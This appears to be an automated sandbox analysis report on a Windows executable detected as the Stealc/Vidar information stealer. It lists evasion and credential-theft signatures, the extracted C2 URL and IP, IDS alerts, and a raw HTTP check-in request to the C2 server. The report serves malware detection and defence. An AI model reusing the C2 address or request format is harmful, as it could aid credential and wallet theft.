Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1502269
MD5:	c062e3b2bc5292e4a0e2abf257a1c8b3
SHA1:	ad0878c0ae151822e41d7f50183a238a42e86075
SHA256:	c499eaaf969ae158153fc3f7422ab4151769c5c7464c330fac0fc4ce11e248a2
Tags:	exe
Infos:

Detection

Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found evasive API chain (may stop execution after checking locale)

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Machine Learning detection for sample

PE file contains section with special chars

Searches for specific processes (likely to inject)

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to create guard pages, often used to hinder reverse engineering and debugging

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found dropped PE file which has not been started or loaded

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 1436 cmdline: "C:\Users\user\Desktop\file.exe" MD5: C062E3B2BC5292E4A0E2ABF257A1C8B3)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.100/e2b1563c6670f193.php"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000002.1670723245.000000000110E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.1670723245.0000000001189000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 1436	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: file.exe PID: 1436	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 1436	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 1436	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 1 entries

Suricata Signatures

ETPRO MALWARE Common Downloader Header Pattern HCa - Source IP: 192.168.2.8 - Destination IP: 185.215.113.100

Timestamp:	2024-08-31T22:05:19.803414+0200
SID:	2803304
Severity:	3
Source Port:	49704
Destination Port:	80
Protocol:	TCP
Classtype:	Unknown Traffic

ETPRO MALWARE Common Downloader Header Pattern HCa - Source IP: 192.168.2.8 - Destination IP: 185.215.113.100

Timestamp:	2024-08-31T22:05:28.104282+0200
SID:	2803304
Severity:	3
Source Port:	49704
Destination Port:	80
Protocol:	TCP
Classtype:	Unknown Traffic

ETPRO MALWARE Common Downloader Header Pattern HCa - Source IP: 192.168.2.8 - Destination IP: 185.215.113.100

Timestamp:	2024-08-31T22:05:30.124548+0200
SID:	2803304
Severity:	3
Source Port:	49704
Destination Port:	80
Protocol:	TCP
Classtype:	Unknown Traffic

ET MALWARE Win32/Stealc Requesting browsers Config from C2 - Source IP: 192.168.2.8 - Destination IP: 185.215.113.100

Timestamp:	2024-08-31T22:05:16.762495+0200
SID:	2044244
Severity:	1
Source Port:	49704
Destination Port:	80
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config - Source IP: 185.215.113.100 - Destination IP: 192.168.2.8

Timestamp:	2024-08-31T22:05:16.768719+0200
SID:	2044245
Severity:	1
Source Port:	80
Destination Port:	49704
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ET MALWARE Win32/Stealc Requesting plugins Config from C2 - Source IP: 192.168.2.8 - Destination IP: 185.215.113.100

Timestamp:	2024-08-31T22:05:17.008566+0200
SID:	2044246
Severity:	1
Source Port:	49704
Destination Port:	80
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config - Source IP: 185.215.113.100 - Destination IP: 192.168.2.8

Timestamp:	2024-08-31T22:05:17.015569+0200
SID:	2044247
Severity:	1
Source Port:	80
Destination Port:	49704
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ETPRO MALWARE Common Downloader Header Pattern HCa - Source IP: 192.168.2.8 - Destination IP: 185.215.113.100

Timestamp:	2024-08-31T22:05:26.835734+0200
SID:	2803304
Severity:	3
Source Port:	49704
Destination Port:	80
Protocol:	TCP
Classtype:	Unknown Traffic

ET MALWARE Win32/Stealc Submitting System Information to C2 - Source IP: 192.168.2.8 - Destination IP: 185.215.113.100

Timestamp:	2024-08-31T22:05:19.306913+0200
SID:	2044248
Severity:	1
Source Port:	49704
Destination Port:	80
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ETPRO MALWARE Common Downloader Header Pattern HCa - Source IP: 192.168.2.8 - Destination IP: 185.215.113.100

Timestamp:	2024-08-31T22:05:25.662078+0200
SID:	2803304
Severity:	3
Source Port:	49704
Destination Port:	80
Protocol:	TCP
Classtype:	Unknown Traffic

ETPRO MALWARE Common Downloader Header Pattern HCa - Source IP: 192.168.2.8 - Destination IP: 185.215.113.100

Timestamp:	2024-08-31T22:05:29.754223+0200
SID:	2803304
Severity:	3
Source Port:	49704
Destination Port:	80
Protocol:	TCP
Classtype:	Unknown Traffic

ETPRO MALWARE Common Downloader Header Pattern HCa - Source IP: 192.168.2.8 - Destination IP: 185.215.113.100

Timestamp:	2024-08-31T22:05:27.471514+0200
SID:	2803304
Severity:	3
Source Port:	49704
Destination Port:	80
Protocol:	TCP
Classtype:	Unknown Traffic

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in - Source IP: 192.168.2.8 - Destination IP: 185.215.113.100

Timestamp:	2024-08-31T22:05:16.516762+0200
SID:	2044243
Severity:	1
Source Port:	49704
Destination Port:	80
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----ECGDAAFIIJDAAAAKFHIDHost: 185.215.113.100Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 43 47 44 41 41 46 49 49 4a 44 41 41 41 41 4b 46 48 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 44 39 38 39 41 30 34 42 34 44 42 32 34 39 36 36 31 38 36 37 35 0d 0a 2d 2d 2d 2d 2d 2d 45 43 47 44 41 41 46 49 49 4a 44 41 41 41 41 4b 46 48 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6c 65 76 61 0d 0a 2d 2d 2d 2d 2d 2d 45 43 47 44 41 41 46 49 49 4a 44 41 41 41 41 4b 46 48 49 44 2d 2d 0d 0a Data Ascii: ------ECGDAAFIIJDAAAAKFHIDContent-Disposition: form-data; name="hwid"1D989A04B4DB2496618675------ECGDAAFIIJDAAAAKFHIDContent-Disposition: form-data; name="build"leva------ECGDAAFIIJDAAAAKFHID--

Source: file.exe, 00000000.00000002.1669993896.000000000043C000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.1670723245.000000000110E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1669993896.00000000005AD000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.100
Source: file.exe, 00000000.00000002.1670723245.0000000001168000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/
Source: file.exe, 00000000.00000002.1670723245.0000000001168000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/0d60be0de163924d/freebl3.dll
Source: file.exe, 00000000.00000002.1670723245.0000000001168000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/0d60be0de163924d/freebl3.dll=io
Source: file.exe, 00000000.00000002.1670723245.0000000001168000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/0d60be0de163924d/mozglue.dll3h
Source: file.exe, 00000000.00000002.1670723245.0000000001168000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/0d60be0de163924d/mozglue.dllkhY
Source: file.exe, 00000000.00000002.1670723245.0000000001168000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/0d60be0de163924d/msvcp140.dll4j
Source: file.exe, 00000000.00000002.1670723245.0000000001168000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/0d60be0de163924d/msvcp140.dllAj
Source: file.exe, 00000000.00000002.1670723245.0000000001168000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/0d60be0de163924d/nss3.dll
Source: file.exe, 00000000.00000002.1670723245.0000000001168000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/0d60be0de163924d/nss3.dll%h
Source: file.exe, 00000000.00000002.1670723245.0000000001168000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/0d60be0de163924d/softokn3.dll
Source: file.exe, 00000000.00000002.1670723245.0000000001168000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/0d60be0de163924d/softokn3.dllpj
Source: file.exe, 00000000.00000002.1669993896.000000000046A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.100/0d60be0de163924d/sqlite3.dll
Source: file.exe, 00000000.00000002.1670723245.0000000001189000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/0d60be0de163924d/vcruntime140.dll
Source: file.exe, 00000000.00000002.1670723245.0000000001152000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1669993896.00000000005AD000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.100/e2b1563c6670f193.php
Source: file.exe, 00000000.00000002.1670723245.0000000001152000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/e2b1563c6670f193.php(
Source: file.exe, 00000000.00000002.1670723245.0000000001100000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/e2b1563c6670f193.php0
Source: file.exe, 00000000.00000002.1670723245.0000000001100000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/e2b1563c6670f193.php=C
Source: file.exe, 00000000.00000002.1670723245.0000000001100000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/e2b1563c6670f193.php=I%
Source: file.exe, 00000000.00000002.1670723245.0000000001168000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/e2b1563c6670f193.phpBrowser
Source: file.exe, 00000000.00000002.1670723245.0000000001100000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/e2b1563c6670f193.phpC
Source: file.exe, 00000000.00000002.1670723245.0000000001100000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/e2b1563c6670f193.phpER
Source: file.exe, 00000000.00000002.1670723245.0000000001100000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/e2b1563c6670f193.phpGO
Source: file.exe, 00000000.00000002.1670723245.0000000001168000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/e2b1563c6670f193.phpJJKKJJDAAAAAKFHJJOv
Source: file.exe, 00000000.00000002.1670723245.0000000001152000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/e2b1563c6670f193.phpX&
Source: file.exe, 00000000.00000002.1670723245.0000000001100000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/e2b1563c6670f193.php_O
Source: file.exe, 00000000.00000002.1669993896.00000000005AD000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.100/e2b1563c6670f193.phpion:
Source: file.exe, 00000000.00000002.1670723245.0000000001168000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/e2b1563c6670f193.phpl
Source: file.exe, 00000000.00000002.1670723245.0000000001100000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/e2b1563c6670f193.phpro
Source: file.exe, 00000000.00000002.1670723245.0000000001100000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/e2b1563c6670f193.phpst
Source: file.exe, 00000000.00000002.1670723245.0000000001100000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/e2b1563c6670f193.phpst~
Source: file.exe, 00000000.00000002.1669993896.00000000005AD000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.100e2b1563c6670f193.phpion:
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: file.exe, file.exe, 00000000.00000002.1694090713.000000006CC3D000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: file.exe, 00000000.00000002.1682668265.000000001D566000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1693966185.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: file.exe, 00000000.00000002.1670723245.0000000001189000.00000004.00000020.00020000.00000000.sdmp, CFCFCAAA.0.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: file.exe, 00000000.00000002.1688338227.0000000029625000.00000004.00000020.00020000.00000000.sdmp, BGIJJKKJJDAAAAAKFHJJ.0.dr	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696491991400800003.2&ci=1696491991993.
Source: file.exe, 00000000.00000002.1688338227.0000000029625000.00000004.00000020.00020000.00000000.sdmp, BGIJJKKJJDAAAAAKFHJJ.0.dr	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696491991400800003.1&ci=1696491991993.12791&cta
Source: file.exe, 00000000.00000002.1670723245.0000000001189000.00000004.00000020.00020000.00000000.sdmp, CFCFCAAA.0.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000002.1670723245.0000000001189000.00000004.00000020.00020000.00000000.sdmp, CFCFCAAA.0.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000002.1670723245.0000000001189000.00000004.00000020.00020000.00000000.sdmp, CFCFCAAA.0.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: file.exe, 00000000.00000002.1688338227.0000000029625000.00000004.00000020.00020000.00000000.sdmp, BGIJJKKJJDAAAAAKFHJJ.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg
Source: file.exe, 00000000.00000002.1688338227.0000000029625000.00000004.00000020.00020000.00000000.sdmp, BGIJJKKJJDAAAAAKFHJJ.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: file.exe, 00000000.00000002.1670723245.0000000001189000.00000004.00000020.00020000.00000000.sdmp, CFCFCAAA.0.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000002.1670723245.0000000001189000.00000004.00000020.00020000.00000000.sdmp, CFCFCAAA.0.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000002.1670723245.0000000001189000.00000004.00000020.00020000.00000000.sdmp, CFCFCAAA.0.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: BGIJJKKJJDAAAAAKFHJJ.0.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pqX1CqX4pbW1pbWfpbZ7ReNxR3UIG8zInwYIFIVs9eYi
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://mozilla.org0/
Source: DAAFIIJDAAAAKFHIDAAAKJJEGD.0.dr	String found in binary or memory: https://support.mozilla.org
Source: DAAFIIJDAAAAKFHIDAAAKJJEGD.0.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: DAAFIIJDAAAAKFHIDAAAKJJEGD.0.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.elMx_wJzrE6l
Source: file.exe, 00000000.00000002.1688338227.0000000029625000.00000004.00000020.00020000.00000000.sdmp, BGIJJKKJJDAAAAAKFHJJ.0.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_15d7e4b694824b33323940336fbf0bead57d89764383fe44
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: file.exe, 00000000.00000002.1670723245.0000000001189000.00000004.00000020.00020000.00000000.sdmp, CFCFCAAA.0.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: file.exe, 00000000.00000002.1670723245.0000000001189000.00000004.00000020.00020000.00000000.sdmp, CFCFCAAA.0.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: file.exe, 00000000.00000002.1688338227.0000000029625000.00000004.00000020.00020000.00000000.sdmp, BGIJJKKJJDAAAAAKFHJJ.0.dr	String found in binary or memory: https://www.invisalign.com/?utm_source=admarketplace&utm_medium=paidsearch&utm_campaign=Invisalign&u
Source: DAAFIIJDAAAAKFHIDAAAKJJEGD.0.dr	String found in binary or memory: https://www.mozilla.org
Source: DAAFIIJDAAAAKFHIDAAAKJJEGD.0.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.0JoCxlq8ibGr
Source: DAAFIIJDAAAAKFHIDAAAKJJEGD.0.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.Tgc_vjLFc3HK
Source: DAAFIIJDAAAAKFHIDAAAKJJEGD.0.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: file.exe, 00000000.00000003.1623996638.000000002F7FD000.00000004.00000020.00020000.00000000.sdmp, DAAFIIJDAAAAKFHIDAAAKJJEGD.0.dr	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC2B700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6CC2B700
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC2B8C0 rand_s,NtQueryVirtualMemory,	0_2_6CC2B8C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC2B910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError,	0_2_6CC2B910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBCF280 NtQueryVirtualMemory,GetProcAddress,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6CBCF280

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007B50C8	0_2_007B50C8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0069488C	0_2_0069488C
